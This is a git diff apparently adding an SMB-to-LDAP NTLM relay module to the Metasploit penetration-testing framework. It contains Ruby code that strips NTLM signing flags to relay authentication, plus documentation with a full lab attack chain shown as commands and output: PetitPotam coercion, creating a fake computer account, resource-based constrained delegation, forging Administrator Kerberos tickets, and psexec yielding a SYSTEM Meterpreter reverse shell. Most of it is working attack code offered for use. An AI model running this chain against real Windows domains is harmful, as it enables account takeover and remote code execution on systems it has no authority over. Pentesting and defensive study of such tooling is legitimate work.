diff --git a/documentation/modules/auxiliary/server/relay/smb_to_ldap.md b/documentation/modules/auxiliary/server/relay/smb_to_ldap.md new file mode 100644 index 000000000000..8984b2176ed5 --- /dev/null +++ b/documentation/modules/auxiliary/server/relay/smb_to_ldap.md @@ -0,0 +1,314 @@ +## Vulnerable Application + +This module supports running an SMB server which validates credentials, and +then attempts to execute a relay attack against an LDAP server on the +configured RELAY_TARGETS hosts. + +It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check +(MIC). As a result, this will only work with NTLMv1. The module takes care of +removing the relevant flags to bypass signing. + +If the relay succeeds, an LDAP session to the target will be created. This can +be used by any modules that support LDAP sessions, like `admin/ldap/rbcd` or +`auxiliary/gather/ldap_query`. + +Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes. +SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261 + + +## Verification Steps + +### Lab setup +You will need a Domain Controller and a Domain-joined host: + +Domain Computer <-> Metasploit framework <-> Domain Controller + +Where: + +- Domain name: NEWLAB.local +- VICTIM (Domain Computer) = 192.168.232.111 +- msfconsole = 192.168.232.3 +- DC01 (Domain Controller) = 192.168.232.110 + +```mermaid +flowchart LR + A("VICTIM (Domain Computer) - 192.168.232.111") + subgraph metasploit[" msfconsole - 192.168.232.3 "] + subgraph inside [ ] + direction TB + style inside margin-top: 0 + style inside stroke: none + + B("smb_to_ldap") + database[(Database)] + + B -->|"report_ntlm_type3(...)"| database + end + end + C("DC01 (Domain Controller) - 192.168.232.110") + + A <-->|SMB 445| metasploit + metasploit <-->|"ldap session (TCP/389)"| C +``` + +The Domain Computer will need to be configured to use NTLMv1 by setting the +following registry key to a value less or equal to 2: + +``` +PS > reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x2 /f +``` + +``` +PS > reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel + +HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa + LmCompatibilityLevel REG_DWORD 0x2 +``` + +Finally run the relay server on msfconsole, setting the `RELAY_TARGETS` option +to the Domain Controller IP address. + +``` +run verbose=true RELAY_TARGETS=192.168.232.110 +``` + +You will have to coerce the Domain Computer and force it to authenticate to the +msfconsole server (see an example below). + + +## Options + +### RELAY_TARGETS + +Target address range or CIDR identifier to relay to. + +### CAINPWFILE + +A file to store Cain & Abel formatted captured hashes in. Only supports NTLMv1 Hashes. + +### JOHNPWFILE + +A file to store John the Ripper formatted hashes in. NTLMv1 and NTLMv2 hashes +will be stored in separate files. +I.E. the filename john will produce two files, `john_netntlm` and `john_netntlmv2`. + +### RELAY_TIMEOUT + +Seconds that the relay socket will wait for a response after the client has +initiated communication (default 25 sec.). + +### SMBDomain + +The domain name used during SMB exchange. + + +## Scenarios + +### Start the relay server +``` +msf6 > use auxiliary/server/relay/smb_to_ldap +msf6 auxiliary(server/relay/smb_to_ldap) > run verbose=true RELAY_TARGETS=192.168.232.110 +[*] Auxiliary module running as background job 0. +msf6 auxiliary(server/relay/smb_to_ldap) > +[*] SMB Server is running. Listening on 0.0.0.0:445 +[*] Server started. + +msf6 auxiliary(server/relay/smb_to_ldap) > _servicemanager +Services +======== + + Id Name References + -- ---- ---------- + 0 Msf::Exploit::Remote::SMB::RelayServer::SMBRelayServer0.0.0.0445 2 + 1 SMB Relay Server 2 +``` + +### Net use example +A simple test would be using the Windows `net use` command: + +``` +net use \\192.168.232.3\foo /u:Administrator 123456 +``` + +msfconsole output: + +``` +[*] New request from 192.168.232.111 +[*] Received request for \Administrator +[*] Relaying to next target ldap://192.168.232.110:389 +[+] Identity: \Administrator - Successfully authenticated against relay target ldap://192.168.232.110:389 +[+] Relay succeeded +[*] LDAP session 1 opened (192.168.232.3:45007 -> 192.168.232.110:389) at 2025-01-23 20:39:45 +0100 +[*] Received request for \Administrator +[*] Identity: \Administrator - All targets relayed to +[*] New request from 192.168.232.111 +[*] Received request for NEWLAB\Administrator +[*] Relaying to next target ldap://192.168.232.110:389 +[+] Identity: NEWLAB\Administrator - Successfully authenticated against relay target ldap://192.168.232.110:389 +[+] Relay succeeded +[*] LDAP session 2 opened (192.168.232.3:43845 -> 192.168.232.110:389) at 2025-01-23 20:39:46 +0100 +[*] Received request for NEWLAB\Administrator +[*] Identity: NEWLAB\Administrator - All targets relayed to + +msf6 auxiliary(server/relay/smb_to_ldap) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 ldap LDAP Administrator @ 192.168.232.110:389 192.168.232.3:45007 -> 192.168.232.110:389 (192.168.232.110) + 2 ldap LDAP Administrator @ 192.168.232.110:389 192.168.232.3:43845 -> 192.168.232.110:389 (192.168.232.110) +``` + +### PetitPotam example + +Coerce authentication using a non-privileged Domain User account with PetitPotam: + +``` +msf6 auxiliary(scanner/dcerpc/petitpotam) > run verbose=true rhosts=192.168.232.111 listener=192.168.232.3 SMBUser=msfuser SMBPass=123456 SMBDomain=newlab.local +[*] 192.168.232.111:445 - Binding to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.232.111[\lsarpc] ... +[*] 192.168.232.111:445 - Bound to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.232.111[\lsarpc] ... +[*] 192.168.232.111:445 - Attempting to coerce authentication via EfsRpcOpenFileRaw +[*] 192.168.232.111:445 - Server responded with ERROR_ACCESS_DENIED (Access is denied.) +[*] 192.168.232.111:445 - Attempting to coerce authentication via EfsRpcEncryptFileSrv + +[*] New request from 192.168.232.111 +[*] Received request for NEWLAB\VICTIM$ +[*] Relaying to next target ldap://192.168.232.110:389 +[+] Identity: NEWLAB\VICTIM$ - Successfully authenticated against relay target ldap://192.168.232.110:389 +[*] Skipping previously captured hash for NEWLAB\VICTIM$ +[+] Relay succeeded +[*] LDAP session 1 opened (192.168.232.3:46691 -> 192.168.232.110:389) at 2025-01-23 19:19:18 +0100 +[*] Received request for NEWLAB\VICTIM$ +[*] Identity: NEWLAB\VICTIM$ - All targets relayed to + +[+] 192.168.232.111:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful +[*] 192.168.232.111:445 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + +msf6 auxiliary(scanner/dcerpc/petitpotam) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 ldap LDAP VICTIM$ @ 192.168.232.110:389 192.168.232.3:46691 -> 192.168.232.110:389 (192.168.232.110) + +msf6 auxiliary(scanner/dcerpc/petitpotam) > sessions -i 1 +[*] Starting interaction with 1... + +LDAP (192.168.232.110) > query -f (sAMAccountName=VICTIM$) +CN=VICTIM,CN=Computers,DC=newlab,DC=local +=============================================== + + Name Attributes + ---- ---------- + accountexpires 9223372036854775807 + badpasswordtime 133820110912034399 + badpwdcount 0 + cn VICTIM + ... + +LDAP (192.168.232.110) > +Background session 1? [y/N] +``` + +### Exploit Resource-based Constrained Delegation (RBCD) + +For details about RCBD, see https://docs.metasploit.com/docs/pentesting/active-directory/kerberos/rbcd.html#rbcd-exploitation + +- Create a computer account with the `admin/dcerpc/samr_account` module and the same Domain User account + +``` +msf6 auxiliary(admin/dcerpc/samr_account) > run verbose=true rhost=192.168.232.110 SMBUser=msfuser SMBPASS=123456 SMBDomain=newlab.local action=ADD_COMPUTER ACCOUNT_NAME=FAKE01$ ACCOUNT_PASSWORD=123456 +[*] Running module against 192.168.232.110 +[*] 192.168.232.110:445 - Adding computer +[*] 192.168.232.110:445 - Connecting to Security Account Manager (SAM) Remote Protocol +[*] 192.168.232.110:445 - Binding to \samr... +[+] 192.168.232.110:445 - Bound to \samr +[+] 192.168.232.110:445 - Successfully created newlab.local\FAKE01$ +[+] 192.168.232.110:445 - Password: 123456 +[+] 192.168.232.110:445 - SID: S-1-5-21-3065298949-3337206023-618530601-1618 +[*] Auxiliary module execution completed +``` + +- Setup RBCD with the `admin/ldap/rbcd` module using the LDAP session + +``` +msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=READ +[*] Running module against 192.168.232.110 +[+] Successfully bound to the LDAP server via existing SESSION! +[*] Discovering base DN automatically +[*] The msDS-AllowedToActOnBehalfOfOtherIdentity field is empty. +[*] Auxiliary module execution completed + +msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=WRITE delegate_from=FAKE01$ +[*] Running module against 192.168.232.110 +[+] Successfully bound to the LDAP server via existing SESSION! +[*] Discovering base DN automatically +[+] Successfully created the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. +[*] Added account: +[*] S-1-5-21-3065298949-3337206023-618530601-1618 (FAKE01$) +[*] Auxiliary module execution completed + +msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=READ +[*] Running module against 192.168.232.110 +[+] Successfully bound to the LDAP server via existing SESSION! +[*] Discovering base DN automatically +[*] Allowed accounts: +[*] S-1-5-21-3065298949-3337206023-618530601-1618 (FAKE01$) +[*] Auxiliary module execution completed +``` + +- Getting the Kerberos tickets using the `admin/kerberos/get_ticket` module + +``` +msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=192.168.232.110 username=FAKE01 password=123456 domain=newlab.local spn=cifs/VICTIM.newlab.local impersonate=Administrator +[*] Running module against 192.168.232.110 +[+] 192.168.232.110:88 - Received a valid TGT-Response +[*] 192.168.232.110:88 - TGT MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_759601.bin +[*] 192.168.232.110:88 - Getting TGS impersonating Administrator@newlab.local (SPN: cifs/VICTIM.newlab.local) +[+] 192.168.232.110:88 - Received a valid TGS-Response +[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_975187.bin +[+] 192.168.232.110:88 - Received a valid TGS-Response +[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_335229.bin +[*] Auxiliary module execution completed +``` + +- Code execution using the `windows/smb/psexec` module + +``` +msf6 exploit(windows/smb/psexec) > klist +Kerberos Cache +============== +id host principal sname enctype issued status path +-- ---- --------- ----- ------- ------ ------ ---- +105 192.168.232.110 FAKE01@NEWLAB.LOCAL krbtgt/NEWLAB.LOCAL@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_759601.bin +106 192.168.232.110 Administrator@NEWLAB.LOCAL FAKE01@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_975187.bin +107 192.168.232.110 Administrator@NEWLAB.LOCAL cifs/VICTIM.newlab.local@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_335229.bin + +msf6 exploit(windows/smb/psexec) > run lhost=192.168.232.3 rhost=192.168.232.111 username=Administrator smb::auth=kerberos smb::rhostname=VICTIM.newlab.local domaincontrollerrhost=192.168.232.110 domain=newlab.local +[*] Started reverse TCP handler on 192.168.232.3:4444 +[*] 192.168.232.111:445 - Connecting to the server... +[*] 192.168.232.111:445 - Authenticating to 192.168.232.111:445|newlab.local as user 'Administrator'... +[*] 192.168.232.111:445 - Using cached credential for cifs/VICTIM.newlab.local@NEWLAB.LOCAL Administrator@NEWLAB.LOCAL +[*] 192.168.232.111:445 - Selecting PowerShell target +[*] 192.168.232.111:445 - Executing the payload... +[+] 192.168.232.111:445 - Service start timed out, OK if running a command or non-service executable... +[*] Sending stage (177734 bytes) to 192.168.232.111 +[*] Meterpreter session 1 opened (192.168.232.3:4444 -> 192.168.232.111:42528) at 2025-01-23 19:35:07 +0100 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : VICTIM +OS : Windows Server 2019 (10.0 Build 17763). +Architecture : x64 +System Language : en_US +Domain : NEWLAB +Logged On Users : 9 +Meterpreter : x86/windows +``` + diff --git a/lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb b/lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb index 87e1ee46d332..fd8da1afd54c 100644 --- a/lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb +++ b/lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb @@ -88,7 +88,7 @@ def do_session_setup_smb2(request, session) return response end - relay_result = self.relay_ntlmssp(session, request.buffer) + relay_result = self.relay_ntlmssp(session, request.buffer.to_binary_s) return if relay_result.nil? response = ::RubySMB::SMB2::Packet::SessionSetupResponse.new @@ -99,7 +99,7 @@ def do_session_setup_smb2(request, session) response.smb2_header.nt_status = relay_result.nt_status.value if relay_result.nt_status == ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED response.smb2_header.nt_status = ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED.value - response.buffer = relay_result.message.serialize + response.buffer = relay_result.message.serialize if relay_result.message if @dialect == '0x0311' update_preauth_hash(response) @@ -138,7 +138,14 @@ def relay_ntlmssp(session, incoming_security_buffer = nil) # Choose the next machine to relay to, and send the incoming security buffer to the relay target if ntlm_message.is_a?(::Net::NTLM::Message::Type1) relayed_connection = session.metadata[:relayed_connection] - logger.info("Relaying NTLM type 1 message to #{relayed_connection.target.ip} (Always Sign: #{ntlm_message.has_flag?(:ALWAYS_SIGN)}, Sign: #{ntlm_message.has_flag?(:SIGN)}, Seal: #{ntlm_message.has_flag?(:SEAL)})") + logger.info( + "Relaying NTLM type 1 message to #{relayed_connection.target} "\ + "(Always Sign: #{ntlm_message.has_flag?(:ALWAYS_SIGN)}, "\ + "Sign: #{ntlm_message.has_flag?(:SIGN)}, Seal: #{ntlm_message.has_flag?(:SEAL)})" + ) + + incoming_security_buffer = do_drop_mic_and_flags(ntlm_message) if relayed_connection.target.drop_mic_and_flags + relay_result = relayed_connection.relay_ntlmssp_type1(incoming_security_buffer) return nil unless relay_result&.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED @@ -157,6 +164,9 @@ def relay_ntlmssp(session, incoming_security_buffer = nil) elsif ntlm_message.is_a?(::Net::NTLM::Message::Type3) relayed_connection = session.metadata[:relayed_connection] logger.info("Relaying #{ntlm_message.ntlm_version == :ntlmv2 ? 'NTLMv2' : 'NTLMv1'} type 3 message to #{relayed_connection.target} as #{session.metadata[:identity]}") + + incoming_security_buffer = do_drop_mic_and_flags(ntlm_message) if relayed_connection.target.drop_mic_and_flags + relay_result = relayed_connection.relay_ntlmssp_type3(incoming_security_buffer) is_success = relay_result&.nt_status == WindowsError::NTStatus::STATUS_SUCCESS @@ -208,6 +218,8 @@ def create_relay_client(target, timeout) client = Target::HTTP::Client.create(self, target, logger, timeout) when :smb client = Target::SMB::Client.create(self, target, logger, timeout) + when :ldap + client = Target::LDAP::Client.create(self, target, logger, timeout) else raise RuntimeError, "unsupported protocol: #{target.protocol}" end @@ -224,5 +236,17 @@ def create_relay_client(target, timeout) logger.print_error msg nil end + + + private + + def do_drop_mic_and_flags(ntlm_message) + logger.info('Removing flags: `Always Sign`, `Sign` and `Key Exchange`') + flags = ntlm_message.flag + flags &= ~Net::NTLM::FLAGS[:ALWAYS_SIGN] & ~Net::NTLM::FLAGS[:SIGN] & ~Net::NTLM::FLAGS[:KEY_EXCHANGE] + ntlm_message.flag = flags + ntlm_message.serialize + end + end end diff --git a/lib/msf/core/exploit/remote/smb/relay/ntlm/target/ldap/client.rb b/lib/msf/core/exploit/remote/smb/relay/ntlm/target/ldap/client.rb new file mode 100644 index 000000000000..b607da02df08 --- /dev/null +++ b/lib/msf/core/exploit/remote/smb/relay/ntlm/target/ldap/client.rb @@ -0,0 +1,95 @@ +require 'rex/proto/ldap/auth_adapter' + +module Msf::Exploit::Remote::SMB::Relay::NTLM::Target::LDAP + # The LDAP Client for interacting with the relayed_target + # This isn't actually a Rex::Proto::LDAP::Client instance, but rather a Net::LDAP::Connection instance because of the + # state requirements of the relay operations + class Client < Net::LDAP::Connection + attr_accessor :timeout + attr_reader :target + + def initialize(server, provider: nil, target: nil, logger: nil, timeout: DefaultConnectTimeout) + @logger = logger + @provider = provider + @target = target + @timeout = server[:connect_timeout] || timeout + super(server) + end + + def self.create(provider, target, logger, timeout) + new( + { + host: target.ip, + port: target.port, + connect_timeout: timeout + }, + provider: provider, + target: target, + logger: logger + ) + end + + alias :disconnect! :close + + # @param [String] client_type1_msg + # @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil] + def relay_ntlmssp_type1(client_type1_msg) + ntlm_message = Net::NTLM::Message.parse(client_type1_msg) + if ntlm_message.has_flag?(:SIGN) + logger.vprint_warning('Relay client\'s NTLM type 1 message requests signing, relaying to LDAP will not work') + end + + pdu = bind(method: :rex_relay_ntlm, ntlm_message: client_type1_msg) + + unless pdu.result_code == Net::LDAP::ResultCodeSaslBindInProgress + return Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new( + nt_status: WindowsError::NTStatus::STATUS_LOGON_FAILURE + ) + end + + server_type2_message = pdu.result_server_sasl_creds.to_s + + Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new( + message: Net::NTLM::Message.parse(server_type2_message), + nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED + ) + end + + # @param [String] client_type3_msg + # @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil] + def relay_ntlmssp_type3(client_type3_msg) + pdu = bind(method: :rex_relay_ntlm, ntlm_message: client_type3_msg) + + case pdu.result_code + when Net::LDAP::ResultCodeSuccess + nt_status = WindowsError::NTStatus::STATUS_SUCCESS + when Net::LDAP::ResultCodeInvalidCredentials + nt_status = WindowsError::NTStatus::STATUS_LOGON_FAILURE + else + return nil + end + + Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(nt_status: nt_status) + end + + # Instantiate a Rex::Proto::LDAP::Client that can be used as a normal LDAP client. + # This is mainly used to setup an LDAP session. + # + # @return [Rex::Proto::LDAP::Client] + def create_ldap_client + client = Rex::Proto::LDAP::Client.new( + host: @target.ip, + port: @target.port, + auth: { method: :rex_relay_ntlm }, + connect_timeout: @timeout + ) + client.connection = self + client + end + + protected + + attr_reader :logger + end +end + diff --git a/lib/msf/core/exploit/remote/smb/relay/target_list.rb b/lib/msf/core/exploit/remote/smb/relay/target_list.rb index 71db049832d1..7128bd196d88 100644 --- a/lib/msf/core/exploit/remote/smb/relay/target_list.rb +++ b/lib/msf/core/exploit/remote/smb/relay/target_list.rb @@ -6,7 +6,7 @@ class TargetList include MonitorMixin # @param [String] targets - def initialize(protocol, port, targets, path=nil, randomize_targets: true) + def initialize(protocol, port, targets, path=nil, randomize_targets: true, drop_mic_and_flags: false) super() targets = Rex::Socket::RangeWalker.new(targets).to_enum(:each_ip).map do |target_ip| @@ -14,7 +14,8 @@ def initialize(protocol, port, targets, path=nil, randomize_targets: true) ip: target_ip, port: port, protocol: protocol, - path: path + path: path, + drop_mic_and_flags: drop_mic_and_flags ) end @targets = randomize_targets ? targets.shuffle : targets @@ -62,7 +63,7 @@ def next_target_for(identity) end class Target - def initialize(ip:, port:, protocol:, path: nil) + def initialize(ip:, port:, protocol:, path: nil, drop_mic_and_flags: false) @ip = ip @port = port @protocol = protocol @@ -75,9 +76,10 @@ def initialize(ip:, port:, protocol:, path: nil) relay_attempts: 0 } end + @drop_mic_and_flags = drop_mic_and_flags end - attr_reader :ip, :port, :protocol, :path + attr_reader :ip, :port, :protocol, :path, :drop_mic_and_flags def eligible_relay_target?(identity) return true if identity.nil? diff --git a/lib/rex/proto/ldap/auth_adapter.rb b/lib/rex/proto/ldap/auth_adapter.rb index 72d7907ff26b..9a9748d83577 100644 --- a/lib/rex/proto/ldap/auth_adapter.rb +++ b/lib/rex/proto/ldap/auth_adapter.rb @@ -1,5 +1,6 @@ require 'rex/proto/ldap/auth_adapter/rex_kerberos' require 'rex/proto/ldap/auth_adapter/rex_ntlm' +require 'rex/proto/ldap/auth_adapter/rex_relay_ntlm' module Rex module Proto diff --git a/lib/rex/proto/ldap/auth_adapter/rex_relay_ntlm.rb b/lib/rex/proto/ldap/auth_adapter/rex_relay_ntlm.rb new file mode 100644 index 000000000000..3c018c6a51c6 --- /dev/null +++ b/lib/rex/proto/ldap/auth_adapter/rex_relay_ntlm.rb @@ -0,0 +1,37 @@ +# frozen_string_literal: true + +require 'net/ldap/auth_adapter' +require 'net/ldap/auth_adapter/sasl' +require 'rubyntlm' + +module Rex::Proto::LDAP::AuthAdapter + # This implements NTLM authentication but facilitates operation from within a relay context where the NTLM processing + # is being handled by an external entity (the relay victim) and it expects to be called repeatedly with the necessary + # NTLM message + class RexRelayNtlm < Net::LDAP::AuthAdapter + # @param auth [Hash] the options for binding + # @option opts [String] :ntlm_message the serialized NTLM message to send to the server, the type does not matter + def bind(auth) + mech = 'GSS-SPNEGO' + ntlm_message = auth[:ntlm_message] + raise Net::LDAP::BindingInformationInvalidError, "Invalid binding information (invalid NTLM message)" unless ntlm_message + + message_id = @connection.next_msgid + sasl = [mech.to_ber, ntlm_message.to_ber].to_ber_contextspecific(3) + request = [ + Net::LDAP::Connection::LdapVersion.to_ber, "".to_ber, sasl + ].to_ber_appsequence(Net::LDAP::PDU::BindRequest) + + @connection.send(:write, request, nil, message_id) + pdu = @connection.queued_read(message_id) + + if !pdu || pdu.app_tag != Net::LDAP::PDU::BindResult + raise Net::LDAP::NoBindResultError, "no bind result" + end + + pdu + end + end +end + +Net::LDAP::AuthAdapter.register(:rex_relay_ntlm, Rex::Proto::LDAP::AuthAdapter::RexRelayNtlm) diff --git a/modules/auxiliary/server/relay/smb_to_ldap.rb b/modules/auxiliary/server/relay/smb_to_ldap.rb new file mode 100644 index 000000000000..cb78d7d88869 --- /dev/null +++ b/modules/auxiliary/server/relay/smb_to_ldap.rb @@ -0,0 +1,118 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::SMB::RelayServer + include Msf::Auxiliary::CommandShell + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Microsoft Windows SMB to LDAP Relay', + 'Description' => %q{ + This module supports running an SMB server which validates credentials, and + then attempts to execute a relay attack against an LDAP server on the + configured RELAY_TARGETS hosts. + + It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check + (MIC). As a result, this will only work with NTLMv1. The module takes care of + removing the relevant flags to bypass signing. + + If the relay succeeds, an LDAP session to the target will be created. This can + be used by any modules that support LDAP sessions, like `admin/ldap/rbcd` or + `auxiliary/gather/ldap_query`. + + Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes. + SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261 + }, + 'Author' => [ + 'Spencer McIntyre', # This module & LDAP relay library + 'Christophe De La Fuente' # This module & SMB relay updates + ], + 'License' => MSF_LICENSE, + 'DefaultTarget' => 0, + 'Actions' => [ + [ 'CREATE_LDAP_SESSION', { 'Description' => 'Create an LDAP session' } ] + ], + 'PassiveActions' => [ 'CREATE_LDAP_SESSION' ], + 'DefaultAction' => 'CREATE_LDAP_SESSION', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ] + } + ) + ) + + register_options( + [ + Opt::RPORT(389) + ] + ) + + register_advanced_options( + [ + OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]), + OptInt.new('SessionKeepalive', [true, 'Time (in seconds) for sending protocol-level keepalive messages', 10 * 60]) + ] + ) + + deregister_options('RHOSTS') + end + + def relay_targets + Msf::Exploit::Remote::SMB::Relay::TargetList.new( + :ldap, # TODO: look into LDAPs + datastore['RPORT'], + datastore['RELAY_TARGETS'], + datastore['TARGETURI'], + randomize_targets: datastore['RANDOMIZE_TARGETS'], + drop_mic_and_flags: true + ) + end + + def check_options + if datastore['RHOSTS'].present? + print_warning('Warning: RHOSTS datastore value has been set which is not supported by this module. Please verify RELAY_TARGETS is set correctly.') + end + end + + def run + check_options + + start_service + print_status('Server started.') + + # Wait on the service to stop + service.wait if service + end + + def on_relay_success(relay_connection:, relay_identity:) + print_good('Relay succeeded') + session_setup(relay_connection, relay_identity) + rescue StandardError => e + elog('Failed to setup the session', error: e) + end + + # @param [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::LDAP::Client] relay_connection + # @return [Msf::Sessions::LDAP] + def session_setup(relay_connection, relay_identity) + client = relay_connection.create_ldap_client + ldap_session = Msf::Sessions::LDAP.new( + relay_connection.socket, + { + client: client, + keepalive_seconds: datastore['SessionKeepalive'] + } + ) + domain, _, username = relay_identity.partition('\\') + datastore_options = { + 'DOMAIN' => domain, + 'USERNAME' => username + } + start_session(self, nil, datastore_options, false, ldap_session.rstream, ldap_session) + end +end